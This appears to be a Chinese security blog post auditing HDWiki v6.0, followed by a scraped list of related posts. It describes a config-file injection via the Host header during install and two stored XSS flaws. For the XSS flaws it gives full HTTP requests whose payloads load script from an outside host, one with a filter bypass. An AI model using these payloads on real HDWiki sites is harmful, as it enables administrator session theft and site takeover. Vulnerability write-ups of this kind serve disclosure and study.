i春秋核心白帽:yanzm

0×00 背景

最近拿到一个源码素材于是对这个源码进行分析发现了不少漏洞本篇先将一些漏洞进行分析下一篇再进行GetShell方法的分析期待和师傅们的交流。

0×01 漏洞分析

配置文件写入

0×00 相关环境

源码信息HDWiki-v6.0UTF8-20170209

问题文件 \HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php

漏洞类型配置文件写入导致代码执行

站点地址http://kaiyuan.hudong.com/

0×01 漏洞分析

在文件\HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php的第291-310行中发现如下代码块其中传入的数据库连接等信息没有经过安全处理直接拼接然后使用fwrite函数将拼接后的内容写入到配置文件中,因此此处存在代码执行漏洞。

通过反向跟踪$configfile,$site_url的数据知道写入文件的名称是config.php,还有$site_url的参数是获取Host头的值。

在\HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php

0×02 漏洞复现

可以写入代码的位置有dbhost,dbuser,dbpassword,dbname,table_prefix,Host这里我直接将代码植入到Host中。进行如下请求将恶意代码写入到配置文件中由于配置文件没有设置访问权限所以写入后可以直接前台访问。

写入后访问config.php 可以直接前台进行代码执行。

XSS注入

0×00 相关环境

源码信息HDWiki-v6.0UTF8-20170209

问题文件 \hdwiki\control\user.php

漏洞类型存储型XSS注入

站点地址http://kaiyuan.hudong.com/

0×01 漏洞分析

在文件\hdwiki\control\user.php中的第50-56行中发现如下代码块通过分析和数据跟踪发现$email存在安全问题在第54行中接收email的值然后进行引号的转义处理后进入到了第56行中的docheck中。

跟入docheck方法在文件\hdwiki\control\user.php中的第199行中使用docheckemail方法对$email进行检测。

跟入docheckemail方法,在文件\hdwiki\control\user.php中的第254-271行中发现该方法的代码块通过分析该方法的可以知道并没有对HTML或者JS代码/字符进行安全处理所以此处存在存储型XSS。

0×02 漏洞复现

由于邮箱的长度有限制但是可以使用短域名突破。

POST /index.php?user-register HTTP/1.1

Host: 127.0.0.1:8081

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: [url]http://127.0.0.1:8081/index.php?user-register[/url]

Content-Type: application/x-www-form-urlencoded

Content-Length: 143

Cookie: hd_sid=2ny184; hd_auth=7eecQnwVHW%2FA9biNTw4cASoUikKxWJr4gHY9sz1QoHE50i5%2Bf92UQu6AOs9y1wk0RIqYiuWGCV2mX32jUwwn; PHPSESSID=14uuv4iobaociig610qksae2v0

Connection: close

Upgrade-Insecure-Requests: 1

username=Thinking&password=Thinking&repassword=Thinking&email=<script src=http://mhz.pw/G></script>&agree=on&fromuid=&submit=%E6%8F%90%E4%BA%A4

当管理员登录后台进行用户管理便会触发JS代码。

1×00 相关环境

源码信息HDWiki-v6.0UTF8-20170209

问题文件\hdwiki\control\doc.php

漏洞类型存储型XSS注入

站点地址http://kaiyuan.hudong.com/

1×01 漏洞分析

在文件\hdwiki\control\doc.php中的第413行中发现doedit方法在对词条进行编辑的时候过滤危险字符的函数可以被绕过导致可以直接引入前端代码造成存储型XSS在文件的第534行中使用了stripscript方法对传入的内容进行安全处理。

跟入stripscript在\hdwiki\lib\string.class.php文件的第227行中发现该方法分析该方法可以知道该方法是将符合$pregfind的正则内容替换为空因此可以通过如下方法进行绕过。

绕过方法

1×02 漏洞复现

首先注册一个用户再创建一个词条然后对词条进行编辑也就是在content参数中植入js代码绕过方法就是在最后一个script后加上空格然后提交。

POST /index.php?doc-edit HTTP/1.1

Host: 127.0.0.1:8081

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: [url]http://127.0.0.1:8081/index.php?doc-edit-59[/url]

Content-Type: multipart/form-data; boundary=—————————114782935826962

Content-Length: 1332

Cookie: PHPSESSID=14uuv4iobaociig610qksae2v0; hd_sid=HbPBd8; hd_auth=0737U4o9dWt5bzx9M%2BcQJZYvE1vO7shf%2Bej%2BpJtLa4eIXyCXC4r7pEHAk1KUQg%2Fh3G8yJtxK1dhL1FuFp1crdw

Connection: close

Upgrade-Insecure-Requests: 1

—————————–114782935826962

Content-Disposition: form-data; name=”did”

59

—————————–114782935826962

Content-Disposition: form-data; name=”section_id”

—————————–114782935826962

Content-Disposition: form-data; name=”create_submit”

1

—————————–114782935826962

Content-Disposition: form-data; name=”title”

Thinking test buibui

—————————–114782935826962

Content-Disposition: form-data; name=”category”

0

—————————–114782935826962

Content-Disposition: form-data; name=”_token”

y5IIiyfoKxH5dcU90S38sG2STGfHqmkF

—————————–114782935826962

Content-Disposition: form-data; name=”summary”

xss

—————————–114782935826962

Content-Disposition: form-data; name=”content”

<p>hello world!<br /><br /></p><script src=http://mhz.pw/G></script >

—————————–114782935826962

Content-Disposition: form-data; name=”tags”

A

—————————–114782935826962

Content-Disposition: form-data; name=”code”

—————————–114782935826962

Content-Disposition: form-data; name=”editreason[]“

A

—————————–114782935826962

Content-Disposition: form-data; name=”publishsubmit”

å‘布

—————————–114782935826962–

当用户或者管理员访问这个词条后就可以执行JS脚本了。

0×02 小小总结

本篇只分析了发现的部分漏洞该源码的问题不少感兴趣的伙伴们可以自行挖掘试试至于GetShell的方法有好几个后篇再和大家分享吧期待和师傅们的交流讨论师傅们有更好的思路期待能一起交流讨论但是如果是hc请走开勿扰交流学习可联系我。>>>点击跳转

转载于:https://www.cnblogs.com/ichunqiu/p/9083475.html

代码审计| HDWiki 漏洞(一)相关推荐

  1. java代码审计常见漏洞_java代码审计基础教程之V2会议系统多个漏洞集合/无需登录...

    因为学习java并不是很长时间,也没有做深入的研究.但是在学习之后,发现可以审计出一些简单的javaweb漏洞,所以想这这里和大家分享一下.0x01审计之初首先,我拿到了源码之后,大概看了一下这个系统 ...

  2. 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞

    前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...

  3. PHP代码审计——越权漏洞(Catfish(鲶鱼) CMS )

    一.代码审计 在我的资源中下载:,Catfish(鲶鱼)cms-带有越权漏洞的源码 下载,即可 第一处越权 把id传递过来,进行一个where查询,没有验证用户直接查询 通过查询id值,可以查询不同用 ...

  4. 米安代码审计 02 漏洞挖掘工具

    本文记录 PHP 代码审计的学习过程,教程为暗月 2015 版的 PHP 代码审计课程 PHP 代码审计博客目录 1. 简介 phpstrom IDE Seay源代码审计系统 RIPS静态PHP代码分 ...

  5. php代码审计逻辑漏洞,PHP代码审计之WEB逻辑漏洞 - 安全牛课堂 - 领先的信息安全在线教育平台...

    { "i18nChapterName": "章", "i18nUnitName": "节", "i18nLes ...

  6. php弱类型漏洞,php代码审计之弱类型引发的灾难

    天融信阿尔法实验室 李喆 有人说php是世界上最好的语言,这可能是对开发人员来说,确实有这方面的特点,因为它开发起来不像其他语言那样麻烦,就比如:弱类型,它不需要像java等语言那样明确定义数据类型. ...

  7. windows文件读取 xxe_java xxe漏洞

    一.XXE漏洞简介 1.XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件.探测内网端口.攻击内 ...

  8. 高级PHP应用程序漏洞审核技术

    [目录] 1. 前言 2. 传统的代码审计技术 3. PHP版本与应用代码审计 4. 其他的因素与应用代码审计 5. 扩展我们的字典 5.1 变量本身的key 5.2 变量覆盖 5.2.1 遍历初始化 ...

  9. asp 退出登录修改cookie能进入后台_某logCMS的代码审计:越权到后台getshell

    某logCMS的代码审计:越权到后台getshell 前言 ​ 学习CTF这么久还没真正意义上审计过一款cms,这次决定花点时间去审计一款cms作为代码审计提升的跳板.由于相关要求,这里就省去cms全 ...

最新文章

  1. [DM] 都是套路: 从上帝视角看透时间序列和数据挖掘
  2. Chronometer的使用
  3. 室外排水设计规范_XXZG排水汇集器完美解决LOFT公寓卫生间排水难题
  4. Activemq-In-action(三)
  5. Oracle9i卸载后再次安装,设置的SID相同出现“指定的SID在本机上已经存在。请指定一个不同的SID。”...
  6. 汇编语言(三)之判断数值是否大于42H并统计个数
  7. session一些基本的东西
  8. [转载]Linux驱动-SPI驱动 之二:SPI通用接口层
  9. 如何提高程序员的生产率 (1)
  10. 多核cpu服务器安装SQLserver 2005的问题
  11. KVM虚拟化技术(理论知识+搭建虚拟化平台实验步骤)
  12. 微信开发之测试号申请
  13. html的特殊符号五角星,五角星怎么打出来?打出五角星符号的方法
  14. java程序员生日祝福语_给程序员的一句话祝福语
  15. 高德地图获取坐标距离_计算两个坐标点之间的距离(高德地图)
  16. 《我要飞,永远都不会累 》---伤感留言
  17. Android 优惠券背景
  18. 购买本本前必读的十大注意
  19. python实现日历功能_Python方法完成农历日历功能代码
  20. Loopring(路印协议)——去中心化交易协议真的有未来吗?

热门文章

  1. 论文阅读:Regularizing Deep Networks with Semantic Data Augmentation
  2. 关于数学建模的个人见解(实验室专用)
  3. 恶意代码逆向静态分析之键盘记录(键盘钩子)以及代码实现 有手就行
  4. mysql从5.7平滑升级到8.0.27
  5. 网康NGFW下一代防火墙远程命令执行漏洞复现
  6. github项目的JAVA项目Ratel,基于Netty实现
  7. java基础/接口与继承1(0.96万字)
  8. 计算机专业男人喜欢什么样的女人,说实在的,其实男人真正喜欢的女人,就三个特征...
  9. 数据中心机房温湿度监测
  10. java魔法师_RxJava魔法师